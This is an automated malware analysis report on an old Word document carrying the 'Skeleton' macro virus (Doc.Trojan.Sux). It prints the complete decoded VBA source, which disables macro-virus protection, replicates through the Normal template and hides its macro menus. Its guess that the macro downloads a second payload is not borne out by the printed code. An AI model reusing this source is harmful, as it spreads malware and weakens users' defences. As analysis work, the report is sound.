Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68c64084d66d3325…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-08-08 06:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4e87744491275d68468c6953a378aa79 SHA-1: d0334c5a263947e42ae1f4ff2e82ef37a20b2022 SHA-256: 68c64084d66d3325b98dc41d9366cf1c6292771cbc509326bf07f50a90474101
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a VBA macro named 'Skeleton' with an AutoOpen subroutine. This macro attempts to copy itself and then calls a 'Payload' subroutine which writes 'AUBG_SUX' to the last word of the document. The presence of legacy macro markers and the AutoOpen execution strongly suggests an attempt to execute malicious code, likely for downloading a secondary payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Sux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sux-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1388 bytes
SHA-256: 6498d7fee68f8bdc0cda30975c0a40044e9d051eaf49a8c23377041021b83a75
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Skeleton"
Sub AutoOpen()
On Error GoTo Err
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Skeleton", wdOrganizerObjectProjectItems
    Exit Sub
Err:
    Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Skeleton", wdOrganizerObjectProjectItems
End Sub
Sub FileSaveAs()
On Error GoTo Err
    Dialogs(wdDialogFileSaveAs).Show
    Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Skeleton", wdOrganizerObjectProjectItems
Err:
    Call Payload
    ActiveDocument.Save
End Sub
Sub FileSave()
On Error GoTo Err
    Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Skeleton", wdOrganizerObjectProjectItems
Err:
    Call Payload
    ActiveDocument.Save
End Sub
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub Payload()
    ActiveDocument.Words.Last = "AUBG_SUX"
End Sub

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